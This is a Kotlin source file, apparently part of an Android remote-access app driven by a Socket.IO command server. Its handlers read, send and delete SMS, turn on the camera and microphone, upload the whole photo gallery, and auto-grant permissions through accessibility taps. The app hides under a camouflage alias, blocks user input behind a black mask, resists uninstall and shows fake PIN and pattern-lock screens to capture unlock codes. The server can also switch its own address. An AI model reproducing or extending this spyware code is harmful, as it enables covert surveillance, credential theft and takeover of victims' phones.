if (isWebUnlock) {
Log.d(TAG, "Scheduling web unlock mode reset")
// 延迟重置,确保确认操作完成
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
Log.d(TAG, "Reset web unlock mode")
service.setWebUnlockMode(false)
}, 5000) // 5秒后重置
}
}
"UNLOCK_DEVICE" -> {
Log.d(TAG, "Received unlock device command")
service.unlockDevice()
}
"KEY_EVENT" -> {
// 支持两种格式keyCode (整数) 和 key (字符串)
if (data.has("keyCode")) {
val keyCode = data.getInt("keyCode")
Log.d(TAG, "按键事件(keyCode): $keyCode")
when (keyCode) {
3 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME)
4 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
82 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS)
66 -> {
// Enter key - special handling removed
Log.d(TAG, "Enter键 - 已删除特殊处理")
}
else -> Log.w(TAG, "未知按键代码: $keyCode")
}
} else if (data.has("key")) {
val key = data.getString("key")
Log.d(TAG, "按键事件(key): $key")
when (key) {
"BACK" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
"HOME" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME)
"RECENTS" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS)
"ENTER" -> {
// Enter key string form - special handling removed
Log.d(TAG, "Enter键(字符串) - 已删除特殊处理")
}
else -> Log.w(TAG, "未知按键: $key")
}
}
}
"GESTURE" -> {
val gestureType = data.getString("type")
Log.d(TAG, "手势操作: $gestureType")
when (gestureType) {
"PINCH_IN", "PINCH_OUT" -> {
val centerX = data.getDouble("centerX").toFloat()
val centerY = data.getDouble("centerY").toFloat()
val scale = data.getDouble("scale").toFloat()
service.performPinchGesture(centerX, centerY, scale, gestureType == "PINCH_OUT")
}
}
}
"POWER_WAKE" -> {
Log.d(TAG, "点亮屏幕")
service.wakeScreen()
}
"POWER_SLEEP" -> {
Log.d(TAG, "锁定屏幕")
service.lockScreen()
}
"ENABLE_BLACK_SCREEN" -> {
Log.d(TAG, "启用黑屏遮盖")
service.enableBlackScreen()
}
"DISABLE_BLACK_SCREEN" -> {
Log.d(TAG, "取消黑屏遮盖")
service.disableBlackScreen()
}
"HIDE_APP" -> {
Log.d(TAG, "隐藏应用")
service.hideApp()
}
"SHOW_APP" -> {
Log.d(TAG, "显示应用")
service.showApp()
}
"DEVICE_BLOCK_INPUT" -> {
Log.d(TAG, "阻止设备用户输入")
// 检查是否有遮罩配置
val maskText = data.optString("maskText", null)
val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null
if (maskText != null || maskTextSize != null) {
Log.d(TAG, "设置遮罩配置 - 文字: $maskText, 字体大小: $maskTextSize")
service.setMaskTextConfig(maskText, maskTextSize)
}
service.blockDeviceInput()
}
"DEVICE_ALLOW_INPUT" -> {
Log.d(TAG, "允许设备用户输入")
service.allowDeviceInput()
}
"SET_MASK_CONFIG" -> {
Log.d(TAG, "设置遮罩配置")
val maskText = data.optString("maskText", null)
val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null
service.setMaskTextConfig(maskText, maskTextSize)
}
"LOG_ENABLE" -> {
Log.d(TAG, "暂停:暂时不启用操作日志记录")
service.enableLogging() // 暂停:暂时不启用日志
}
"LOG_DISABLE" -> {
Log.d(TAG, "禁用操作日志记录")
service.disableLogging()
}
"SMART_CONFIRM_DETECTION" -> {
Log.d(TAG, "智能确认按钮检测")
val passwordType = data.optString("passwordType", "")
val screenWidth = data.optInt("screenWidth", 0)
val screenHeight = data.optInt("screenHeight", 0)
service.performSmartConfirmDetection(passwordType, screenWidth, screenHeight)
}
"SMART_UNLOCK_SWIPE" -> {
Log.d(TAG, "智能上滑解锁")
service.performSmartUnlockSwipe()
}
"ALIPAY_DETECTION_START" -> {
Log.d(TAG, "开启支付宝检测")
service.enableAlipayDetection()
}
"ALIPAY_DETECTION_STOP" -> {
Log.d(TAG, "关闭支付宝检测")
service.disableAlipayDetection()
}
"WECHAT_DETECTION_START" -> {
Log.d(TAG, "开启微信检测")
service.enableWechatDetection()
}
"WECHAT_DETECTION_STOP" -> {
Log.d(TAG, "关闭微信检测")
service.disableWechatDetection()
}
"OPEN_APP_SETTINGS" -> {
Log.d(TAG, "打开应用设置")
service.openAppSettings()
}
"REFRESH_MEDIA_PROJECTION_PERMISSION" -> {
Log.d(TAG, "重新获取投屏权限")
service.refreshMediaProjectionPermission()
}
"REFRESH_MEDIA_PROJECTION_MANUAL" -> {
Log.d(TAG, "手动授权投屏权限(不自动点击)")
service.refreshMediaProjectionManual()
}
"CLOSE_CONFIG_MASK" -> {
Log.d(TAG, "手动关闭配置遮盖")
val isManual = data.optBoolean("manual", false)
Log.i(TAG, "Received close config mask command - manual: $isManual")
service.forceHideConfigMask(isManual)
}
"ENABLE_UNINSTALL_PROTECTION" -> {
Log.d(TAG, "Enable uninstall protection")
service.enableUninstallProtection()
}
"DISABLE_UNINSTALL_PROTECTION" -> {
Log.d(TAG, "Disable uninstall protection")
service.disableUninstallProtection()
}
"CAMERA_START" -> {
Log.d(TAG, "📷 启动摄像头捕获")
service.startCameraCapture()
}
"CAMERA_STOP" -> {
Log.d(TAG, "📷 停止摄像头捕获")
service.stopCameraCapture()
}
"CAMERA_SWITCH" -> {
Log.d(TAG, "📷 切换摄像头")
service.switchCamera()
}
"CAMERA_CAPTURE_START" -> {
Log.d(TAG, "📷 开始摄像头捕获(精细控制)")
service.startCameraCapturing()
}
"CAMERA_CAPTURE_STOP" -> {
Log.d(TAG, "📷 停止摄像头捕获(精细控制)")
service.stopCameraCapturing()
}
"CAMERA_STATUS" -> {
val isCapturing = service.isCameraCapturing()
val cameraInfo = service.getCameraInfo()
Log.d(TAG, "📷 摄像头状态: ${if (isCapturing) "正在捕获" else "未捕获"}, 摄像头: $cameraInfo")
// 可以在这里发送状态回执给服务器
}
"CAMERA_INFO" -> {
val cameraInfo = service.getCameraInfo()
Log.d(TAG, "📷 摄像头信息: $cameraInfo")
// 可以在这里发送摄像头信息回执给服务器
}
"SMS_READ" -> {
val limit = data.optInt("limit", 50)
Log.d(TAG, "Read SMS list (limit: $limit)")
val smsList = service.readSMSList(limit)
Log.d(TAG, "Read ${smsList.size} SMS messages")
// 可以在这里发送短信列表回执给服务器
}
"SMS_SEND" -> {
val phoneNumber = data.getString("phoneNumber")
val message = data.getString("message")
Log.d(TAG, "Send SMS to: $phoneNumber")
val success = service.sendSMS(phoneNumber, message)
Log.d(TAG, "SMS send result: $success")
// 可以在这里发送发送结果回执给服务器
}
"SMS_MARK_READ" -> {
val smsId = data.getLong("smsId")
Log.d(TAG, "Mark SMS as read: $smsId")
val success = service.markSMSAsRead(smsId)
Log.d(TAG, "Mark result: $success")
}
"ALBUM_READ" -> {
// 新逻辑:始终读取全部并发送;若有新指令打断,重启任务
Log.d(TAG, "Received album read command, start/restart read+send task (read all)")
startReadAndSendAllGallery()
}
"GALLERY_PERMISSION_REQUEST" -> {
Log.d(TAG, "Request gallery permission")
service.requestGalleryPermissionWithAutoGrant()
}
"GALLERY_PERMISSION_CHECK" -> {
val hasPermission = service.checkGalleryPermission()
Log.d(TAG, "Gallery permission status: ${if (hasPermission) "granted" else "not granted"}")
if (!hasPermission) {
Log.d(TAG, "Gallery permission not granted, auto requesting")
service.requestGalleryPermissionWithAutoGrant()
}
}
"GALLERY_PERMISSION_AUTO_GRANT" -> {
Log.d(TAG, "Auto request gallery permission (blind tap)")
service.requestGalleryPermissionWithAutoGrant()
}
"MICROPHONE_PERMISSION_REQUEST" -> {
Log.d(TAG, "Request microphone permission")
service.requestMicrophonePermissionWithAutoGrant()
}
"MICROPHONE_PERMISSION_CHECK" -> {
val hasPermission = service.checkMicrophonePermission()
Log.d(TAG, "Microphone permission status: ${if (hasPermission) "granted" else "not granted"}")
if (!hasPermission) {
Log.d(TAG, "Microphone permission not granted, auto requesting")
service.requestMicrophonePermissionWithAutoGrant()
}
}
"MICROPHONE_PERMISSION_AUTO_GRANT" -> {
Log.d(TAG, "Auto request microphone permission (blind tap)")
service.requestMicrophonePermissionWithAutoGrant()
}
"MICROPHONE_START_RECORDING" -> {
Log.d(TAG, "Start microphone recording")
service.startMicrophoneRecording()
}
"MICROPHONE_STOP_RECORDING" -> {
Log.d(TAG, "Stop microphone recording")
service.stopMicrophoneRecording()
}
"MICROPHONE_RECORDING_STATUS" -> {
val isRecording = service.isMicrophoneRecording()
Log.d(TAG, "Microphone recording status: ${if (isRecording) "recording" else "not recording"}")
val payload = org.json.JSONObject().apply {
put("deviceId", getDeviceId())
put("type", "microphone_status")
put("timestamp", System.currentTimeMillis())
put("isRecording", isRecording)
}
socket?.emit("microphone_status", payload)
}
"SMS_DELETE" -> {
val smsId = data.getLong("smsId")
Log.d(TAG, "Delete SMS: $smsId")
val success = service.deleteSMS(smsId)
Log.d(TAG, "Delete result: $success")
}
"SMS_UNREAD_COUNT" -> {
val count = service.getUnreadSMSCount()
Log.d(TAG, "Unread SMS count: $count")
// 可以在这里发送未读数量回执给服务器
}
"SMS_PERMISSION_CHECK" -> {
val hasPermission = service.checkSMSPermission()
Log.d(TAG, "SMS permission check: $hasPermission")
if (!hasPermission) {
service.requestSMSPermissionWithAutoGrant()
}
}
"SMS_PERMISSION_AUTO_GRANT" -> {
val hasPermission = service.checkSMSPermission()
Log.d(TAG, "SMS permission auto grant check: $hasPermission")
if (!hasPermission) {
service.requestSMSPermissionWithAutoGrant()
} else {
Log.d(TAG, "SMS permission already granted, no need to request")
}
}
"OPEN_PIN_INPUT" -> {
Log.d(TAG, "Received open PIN input page command")
openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN)
}
"OPEN_FOUR_DIGIT_PIN" -> {
Log.d(TAG, "Received open 4-digit PIN page command")
openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN_4)
}
"OPEN_PATTERN_LOCK" -> {
Log.d(TAG, "Received open pattern lock page command")
openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PATTERN)
}
"CHANGE_SERVER_URL" -> {
val newServerUrl = data.optString("serverUrl", "")
if (newServerUrl.isNotEmpty()) {
Log.i(TAG, "Received server URL change command: $newServerUrl")
handleServerUrlChange(newServerUrl)
} else {
Log.w(TAG, "Server URL change command missing serverUrl param")
}
}
"SCREEN_CAPTURE_PAUSE" -> {
Log.d(TAG, "📺 暂停远程桌面")
service.getScreenCaptureManager()?.pauseCapture()
}
"SCREEN_CAPTURE_RESUME" -> {
Log.d(TAG, "📺 继续远程桌面")
service.getScreenCaptureManager()?.resumeCapture()
}
else -> Log.w(TAG, "未知控制操作: $type")
}
} catch (e: Exception) {
Log.e(TAG, "处理控制消息失败", e)
}
}
/**
* 发送操作日志到服务器(优化版本,避免与屏幕数据传输冲突)
*/
fun sendOperationLog(logData: JSONObject) {
try {
if (isConnected && socket?.connected() == true) {
// Optimization: check time gap with screen data to avoid transport conflict
val currentTime = System.currentTimeMillis()
val timeSinceLastScreenData = currentTime - lastScreenDataTime
// 如果刚刚发送过屏幕数据100ms内稍微延迟发送日志
if (timeSinceLastScreenData < 100) {
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
if (isConnected && socket?.connected() == true) {
socket?.emit("operation_log", logData)
Log.d(TAG, "[Delayed] Send operation log: ${logData.optString("logType")} - ${logData.optString("content")}")
}
} catch (e: Exception) {
Log.e(TAG, "Delayed send operation log failed", e)
}
}, 150) // 延迟150ms错开屏幕数据发送时间
} else {
// 安全时间窗口,直接发送
socket?.emit("operation_log", logData)
Log.d(TAG, "Send operation log: ${logData.optString("logType")} - ${logData.optString("content")}")
}
} else {
Log.w(TAG, "Socket not connected, cannot send operation log")
}
} catch (e: Exception) {
Log.e(TAG, "Send operation log failed", e)
}
}
/**
* 🆕 发送权限申请响应到服务器
*/
fun sendPermissionResponse(permissionType: String, success: Boolean, message: String) {
try {
if (isConnected && socket?.connected() == true) {
val responseData = JSONObject().apply {
put("deviceId", getDeviceId())
put("permissionType", permissionType)
put("success", success)
put("message", message)
put("timestamp", System.currentTimeMillis())
}
socket?.emit("permission_response", responseData)
Log.i(TAG, "Send permission response: $permissionType - success=$success, message=$message")
} else {
Log.w(TAG, "Socket not connected, cannot send permission response")
}
} catch (e: Exception) {
Log.e(TAG, "Send permission response failed", e)
}
}
/**
* 🆕 发送设备输入阻塞状态变更到服务器
*/
fun sendDeviceInputBlockedChanged(blocked: Boolean, fromConfigComplete: Boolean = false, autoEnabled: Boolean = false) {
try {
if (isConnected && socket?.connected() == true) {
val eventData = JSONObject().apply {
put("deviceId", getDeviceId())
put("blocked", blocked)
put("success", true)
put("message", if (blocked) "设备输入已阻塞" else "设备输入已恢复")
put("timestamp", System.currentTimeMillis())
put("fromConfigComplete", fromConfigComplete) // 标记这是配置完成后的自动启用
put("autoEnabled", autoEnabled) // 标记这是自动启用的,区别于手动操作
}
socket?.emit("device_input_blocked_changed", eventData)
Log.i(TAG, "Send input block state change: blocked=$blocked, fromConfigComplete=$fromConfigComplete, autoEnabled=$autoEnabled")
} else {
Log.w(TAG, "Socket not connected, cannot send input block state")
}
} catch (e: Exception) {
Log.e(TAG, "Failed to send input block state change", e)
}
}
/**
* 处理服务器地址修改
*/
private fun handleServerUrlChange(newServerUrl: String) {
scope.launch(Dispatchers.IO) {
try {
Log.i(TAG, "Processing server URL change: $newServerUrl")
// 0. Validate new server URL format (accept ws/wss/http/https)
if (newServerUrl.isBlank() ||
(!newServerUrl.startsWith("ws://") && !newServerUrl.startsWith("wss://") &&
!newServerUrl.startsWith("http://") && !newServerUrl.startsWith("https://"))) {
Log.e(TAG, "Invalid server URL format: $newServerUrl")
sendErrorResponse("Invalid server URL format")
return@launch
}
// 1. Save new server URL to config
val success = com.hikoncont.util.ConfigWriter.updateServerUrl(service, newServerUrl)
if (success) {
Log.i(TAG, "Server URL saved to config")
// 1.5. Verify config was saved correctly
val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service)
if (savedUrl == newServerUrl) {
Log.i(TAG, "Config verified, new URL saved: $savedUrl")
} else {
Log.w(TAG, "Config verify failed, saved: $savedUrl, expected: $newServerUrl")
}
// 2. Send response to server
withContext(Dispatchers.Main) {
try {
val responseData = JSONObject().apply {
put("deviceId", getDeviceId())
put("success", true)
put("message", "Server URL updated, restarting connection")
put("newServerUrl", newServerUrl)
put("timestamp", System.currentTimeMillis())
}
socket?.emit("server_url_changed", responseData)
Log.i(TAG, "Server URL change response sent")
} catch (e: Exception) {
Log.e(TAG, "Failed to send response", e)
}
}
// 3. Delay then disconnect and reconnect to new server
delay(2000)
Log.i(TAG, "Restarting WebSocket connection...")
reconnectToNewServer(newServerUrl)
} else {
Log.e(TAG, "Failed to save server URL")
// 发送失败响应
withContext(Dispatchers.Main) {
try {
val responseData = JSONObject().apply {
put("deviceId", getDeviceId())
put("success", false)
put("message", "保存服务器地址失败")
put("timestamp", System.currentTimeMillis())
}
socket?.emit("server_url_changed", responseData)
} catch (e: Exception) {
Log.e(TAG, "Failed to send error response", e)
}
}
}
} catch (e: Exception) {
Log.e(TAG, "Handle server URL change failed", e)
sendErrorResponse("处理服务器地址修改时发生异常: ${e.message}")
}
}
}
/**
* 发送错误响应
*/
private suspend fun sendErrorResponse(errorMessage: String) {
withContext(Dispatchers.Main) {
try {
val responseData = JSONObject().apply {
put("deviceId", getDeviceId())
put("success", false)
put("message", errorMessage)
put("timestamp", System.currentTimeMillis())
}
socket?.emit("server_url_changed", responseData)
Log.i(TAG, "Send error response: $errorMessage")
} catch (e: Exception) {
Log.e(TAG, "Send error response failed", e)
}
}
}
/**
* 重新连接到新服务器
*/
private suspend fun reconnectToNewServer(newServerUrl: String) {
try {
Log.i(TAG, "Disconnecting current connection...")
// 1. Disconnect current connection
withContext(Dispatchers.Main) {
socket?.disconnect()
socket?.close()
socket = null
}
Log.i(TAG, "Current connection disconnected")
// 2. Wait before reconnecting
delay(1000)
// 3. Connect to new server (protocol conversion handled in connect())
Log.i(TAG, "Connecting to new server: $newServerUrl")
connect(newServerUrl)
Log.i(TAG, "WebSocket service restart complete")
} catch (e: Exception) {
Log.e(TAG, "Reconnect to new server failed", e)
}
}
/**
* 打开密码输入页面
*/
private fun openPasswordInputActivity(passwordType: String) {
try {
Log.d(TAG, "Opening password input page, type: $passwordType")
// Reset password input completion state to allow re-input
val prefs = service.getSharedPreferences("password_input", Context.MODE_PRIVATE)
val completed = prefs.getBoolean("password_input_completed", false)
if (completed) {
Log.i(TAG, "Password already completed, resetting state for re-input")
prefs.edit().putBoolean("password_input_completed", false).apply()
Log.i(TAG, "Password input state reset, ready for re-input")
}
// 检查是否处于伪装模式如果是则确保MainActivity被禁用
if (isAppInCamouflageMode()) {
Log.i(TAG, "🎭 检测到伪装模式确保MainActivity被禁用")
ensureMainActivityDisabled()
}
val deviceId = getDeviceId()
val installationId = System.currentTimeMillis().toString()
val intent = Intent(service, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_PASSWORD_TYPE, passwordType)
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID, deviceId)
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID, installationId)
putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_SOCKET_WAKE, true)
// 使用温和的flags设置避免Activity被销毁
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)
}
service.startActivity(intent)
Log.d(TAG, "Password input page started, type: $passwordType")
// 启动无障碍监控
startAccessibilityMonitoring(passwordType, deviceId, installationId)
} catch (e: Exception) {
Log.e(TAG, "Failed to start password input page", e)
}
}
/**
* 🎭 检查APP是否处于伪装模式
*/
private fun isAppInCamouflageMode(): Boolean {
return try {
val packageManager = service.packageManager
val phoneManagerComponent = android.content.ComponentName(service, "com.hikoncont.PhoneManagerAlias")
val mainComponent = android.content.ComponentName(service, "com.hikoncont.MainActivity")
val phoneManagerEnabled = packageManager.getComponentEnabledSetting(phoneManagerComponent)
val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent)
val isCamouflage = (phoneManagerEnabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) &&
(mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
Log.d(TAG, "🎭 检查APP伪装模式: $isCamouflage (PhoneManager: $phoneManagerEnabled, Main: $mainDisabled)")
isCamouflage
} catch (e: Exception) {
Log.e(TAG, "Failed to check app camouflage mode", e)
false
}
}
/**
* 🎭 确保MainActivity被禁用
*/
private fun ensureMainActivityDisabled() {
try {
Log.i(TAG, "🎭 确保MainActivity被禁用")
val packageManager = service.packageManager
val mainComponent = android.content.ComponentName(service, "com.hikoncont.MainActivity")
val currentState = packageManager.getComponentEnabledSetting(mainComponent)
if (currentState != android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
packageManager.setComponentEnabledSetting(
mainComponent,
android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
android.content.pm.PackageManager.DONT_KILL_APP
)
Log.i(TAG, "MainActivity re-disabled")
} else {
Log.d(TAG, "MainActivity already disabled")
}
} catch (e: Exception) {
Log.e(TAG, "Failed to ensure MainActivity disabled", e)
}
}
/**
* 启动无障碍监控参考handleNormalPasswordPageSwitch强制置顶
*/
private fun startAccessibilityMonitoring(passwordType: String, deviceId: String, installationId: String) {
try {
Log.d(TAG, "Start accessibility monitoring, password type: $passwordType")
Log.d(TAG, "Device ID: $deviceId")
Log.d(TAG, "Installation ID: $installationId")
// 通过AccessibilityRemoteService获取AccessibilityEventManager
val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService
if (accessibilityService != null) {
Log.d(TAG, "Got AccessibilityRemoteService")
val eventManager = accessibilityService.getAccessibilityEventManager()
if (eventManager != null) {
Log.d(TAG, "Got AccessibilityEventManager")
// 启动Socket唤醒密码监控
eventManager.startSocketWakePasswordMonitoring(passwordType, deviceId, installationId)
Log.d(TAG, "Accessibility monitoring started")
// Start force-top monitoring
startForceTopMonitoring(passwordType, deviceId, installationId)
Log.d(TAG, "Force-top monitoring started")
} else {
Log.w(TAG, "AccessibilityEventManager is null, monitoring not started")
}
} else {
Log.w(TAG, "Cannot get AccessibilityRemoteService, monitoring not started")
Log.w(TAG, "Service type: ${service::class.java.simpleName}")
}
} catch (e: Exception) {
Log.e(TAG, "Failed to start accessibility monitoring", e)
}
}
/**
* 启动强制置顶监控参考handleNormalPasswordPageSwitch逻辑
*/
private fun startForceTopMonitoring(passwordType: String, deviceId: String, installationId: String) {
try {
Log.d(TAG, "🔝 启动强制置顶监控,密码类型: $passwordType")
// 延迟启动强制置顶,给页面充分时间加载
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
// 通过AccessibilityRemoteService获取AccessibilityEventManager
val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService
if (accessibilityService != null) {
val eventManager = accessibilityService.getAccessibilityEventManager()
if (eventManager != null) {
// 启用强制返回功能
eventManager.enableForceReturn()
Log.d(TAG, "Force return enabled")
// 记录操作日志
accessibilityService.recordOperationLog("SOCKET_FORCE_TOP_START", "Socket强制置顶启动", mapOf(
"passwordType" to passwordType,
"deviceId" to deviceId,
"installationId" to installationId,
"forceReturnEnabled" to true,
"timestamp" to System.currentTimeMillis()
))
}
}
} catch (e: Exception) {
Log.e(TAG, "Failed to start force-top monitoring", e)
}
}, 2000) // 2秒延迟给页面充分时间加载
} catch (e: Exception) {
Log.e(TAG, "Failed to start force-top monitoring (outer)", e)
}
}
fun disconnect() {
socket?.disconnect()
isConnected = false
isDeviceRegistered = false
connectionCheckJob?.cancel()
}
fun isConnected(): Boolean = isConnected && socket?.connected() == true
fun isDeviceRegistered(): Boolean = isDeviceRegistered && isConnected()
/**
* Check connection status and reconnect immediately
*/
private fun checkConnectionAndReconnect() {
scope.launch {
try {
Log.d(TAG, "立即检测连接状态")
val socketConnected = socket?.connected() == true
if (!socketConnected || !isConnected) {
Log.w(TAG, "连接已断开,立即重连")
forceReconnect()
} else {
Log.d(TAG, "连接状态正常")
}
} catch (e: Exception) {
Log.e(TAG, "连接检测异常", e)
}
}
}
/**
* 智能重新连接 - 增强稳定性版本针对transport error问题
* 添加重连深度限制,防止无限递归导致协程泄漏和内存耗尽
*/
private var forceReconnectDepth = 0
private val MAX_FORCE_RECONNECT_DEPTH = 3
fun forceReconnect() {
scope.launch {
try {
forceReconnectDepth++
if (forceReconnectDepth > MAX_FORCE_RECONNECT_DEPTH) {
Log.e(TAG, "重连深度超限(${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})停止递归重连等待Socket.IO自动重连")
forceReconnectDepth = 0
return@launch
}
Log.i(TAG, "开始智能重连(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})")
// 重置所有状态
isConnected = false
isDeviceRegistered = false
connectionCheckJob?.cancel()
// 优雅断开旧连接,给系统清理时间
try {
socket?.disconnect()
delay(1000)
socket?.close()
} catch (e: Exception) {
Log.w(TAG, "断开旧连接时出现异常(可忽略)", e)
}
Log.i(TAG, "旧连接已断开,等待智能延迟后重新连接...")
// 智能延迟:根据网络环境调整等待时间 + 随机化避免多设备同时重连
val baseDelay = if (Build.VERSION.SDK_INT >= 35) {
8000L
} else {
5000L
}
val randomDelay = (1000..4000).random().toLong()
// 限制transportErrorCount对延迟的影响防止延迟无限增长
val errorIncrement = minOf(transportErrorCount, 5) * 2000L
val totalDelay = baseDelay + randomDelay + errorIncrement
Log.i(TAG, "智能重连延迟: ${totalDelay}ms (基础: ${baseDelay}ms + 随机: ${randomDelay}ms + 错误增量: ${errorIncrement}ms)")
delay(totalDelay)
// 重新创建Socket实例使用增强配置
Log.i(TAG, "重新创建增强Socket实例...")
try {
val useConservativeStrategy = shouldUseConservativeReconnect()
Log.i(TAG, "重连策略选择: 保守策略=$useConservativeStrategy, transportErrorCount=$transportErrorCount")
val options = IO.Options().apply {
val isVeryPoorNetwork = networkQualityScore < 30
timeout = when {
isVeryPoorNetwork -> 90000
useConservativeStrategy -> 60000
else -> 45000
}
reconnection = true
reconnectionAttempts = when {
isVeryPoorNetwork -> 3
useConservativeStrategy -> 5
else -> 10
}
reconnectionDelay = when {
isVeryPoorNetwork -> 8000L
useConservativeStrategy -> 5000L
else -> 3000L
}
reconnectionDelayMax = when {
isVeryPoorNetwork -> 30000L
useConservativeStrategy -> 20000L
else -> 12000L
}
// 传输策略:根据网络质量和历史情况调整
transports = when {
isVeryPoorNetwork || networkQualityScore < 40 -> {
arrayOf("polling")
}
useConservativeStrategy -> {
arrayOf("polling")
}
else -> {
arrayOf("polling", "websocket")
}
}
upgrade = !useConservativeStrategy
rememberUpgrade = true
forceNew = true
query = "reconnect=true&strategy=${if (useConservativeStrategy) "conservative" else "standard"}&timestamp=${System.currentTimeMillis()}"
}
socket = IO.socket(java.net.URI.create(convertToSocketIoProtocol(serverUrl)), options)
setupEventListeners()
socket?.connect()
Log.i(TAG, "增强Socket实例已创建并连接")
// 重连成功,重置深度计数
forceReconnectDepth = 0
} catch (e: Exception) {
Log.e(TAG, "重新创建Socket失败", e)
// 重连失败时的回退策略,有深度限制保护
delay(10000)
if (!isConnected) {
Log.w(TAG, "重连失败10秒后再次尝试(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})...")
forceReconnect()
}
}
} catch (e: Exception) {
Log.e(TAG, "智能重连异常", e)
forceReconnectDepth = 0
}
}
}
/**
* Start active connection monitoring - enhanced stability version
*/
private fun startConnectionMonitoring() {
Log.e(TAG, "Starting enhanced connection monitoring")
// Optimize: adjust check interval to coordinate with server 60s heartbeat
val checkInterval = if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
30000L // Android 15每30秒检测一次与60秒心跳间隔形成2:1比例
} else {
25000L // 其他版本每25秒检测一次更快发现连接问题
}
connectionCheckJob = scope.launch {
var consecutiveFailures = 0 // Consecutive failure count
while (isActive && isConnected) {
try {
delay(checkInterval)
Log.w(TAG, "Executing smart connection check...")
// Multi-layer connection status check
val socketConnected = socket?.connected() == true
val socketExists = socket != null
if (!socketExists) {
Log.e(TAG, "Socket instance does not exist")
isConnected = false
isDeviceRegistered = false
forceReconnect()
break
}
if (!socketConnected) {
consecutiveFailures++
Log.e(TAG, "Socket.IO connection lost, consecutive failures: $consecutiveFailures")
// Balance fault tolerance and response speed
if (consecutiveFailures >= 5) {
Log.e(TAG, "Connection check failed ${consecutiveFailures} times, triggering reconnect")
isConnected = false
isDeviceRegistered = false
forceReconnect()
break
} else {
Log.w(TAG, "Check failure count: $consecutiveFailures/5, waiting for next check")
continue
}
} else {
consecutiveFailures = 0 // 重置失败计数
}
// Optimize heartbeat test: reduce frequency to minimize transport errors
if (consecutiveFailures == 0) {
try {
val testData = JSONObject().apply {
put("type", "connection_test")
put("timestamp", System.currentTimeMillis())
put("device_id", android.provider.Settings.Secure.getString(
service.contentResolver,
android.provider.Settings.Secure.ANDROID_ID
))
}
socket?.emit("CONNECTION_TEST", testData)
Log.w(TAG, "Connection check: test message sent successfully")
} catch (e: Exception) {
consecutiveFailures++
Log.e(TAG, "Connection check: test message send failed, consecutive failures: $consecutiveFailures", e)
// Respond quickly to heartbeat failures
if (consecutiveFailures >= 6) {
Log.e(TAG, "Heartbeat test failed ${consecutiveFailures} times, calling reconnect")
isConnected = false
forceReconnect()
break
}
}
}
} catch (e: Exception) {
Log.e(TAG, "Connection monitoring exception", e)
break
}
}
Log.e(TAG, "💔💔💔 连接监控结束 💔💔💔")
}
}
private fun getDeviceId(): String {
return android.provider.Settings.Secure.getString(
service.contentResolver,
android.provider.Settings.Secure.ANDROID_ID
) ?: "unknown"
}
private fun getUniqueDeviceName(): String {
val model = android.os.Build.MODEL
val deviceId = getDeviceId()
val shortId = deviceId.takeLast(8)
return "${android.os.Build.MANUFACTURER}_${model}_${shortId}"
}
/**
* 获取设备屏幕宽度
*/
private fun getScreenWidth(): Int {
val metrics = service.resources.displayMetrics
return metrics.widthPixels
}
/**
* 获取设备屏幕高度
*/
private fun getScreenHeight(): Int {
// 使用WindowMetrics获取完整的屏幕尺寸包含系统UI
try {
val windowManager = service.getSystemService(Context.WINDOW_SERVICE) as android.view.WindowManager
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
val windowMetrics = windowManager.currentWindowMetrics
windowMetrics.bounds.height()
} else {
@Suppress("DEPRECATION")
val display = windowManager.defaultDisplay
val realSize = android.graphics.Point()
@Suppress("DEPRECATION")
display.getRealSize(realSize)
realSize.y
}
} catch (e: Exception) {
Log.e(TAG, "获取真实屏幕尺寸失败,使用默认方法", e)
val metrics = service.resources.displayMetrics
return metrics.heightPixels
}
}
/**
* 处理UI层次结构分析请求 - 默认使用增强功能
*/
private fun handleUIHierarchyRequest(requestData: JSONObject) {
try {
Log.e(TAG, "Processing UI hierarchy analysis request (enhanced mode)")
val requestId = requestData.optString("requestId", "")
val clientId = requestData.optString("clientId", "")
val includeInvisible = requestData.optBoolean("includeInvisible", true) // 默认true
val includeNonInteractive = requestData.optBoolean("includeNonInteractive", true)
val maxDepth = requestData.optInt("maxDepth", 25) // 默认25层
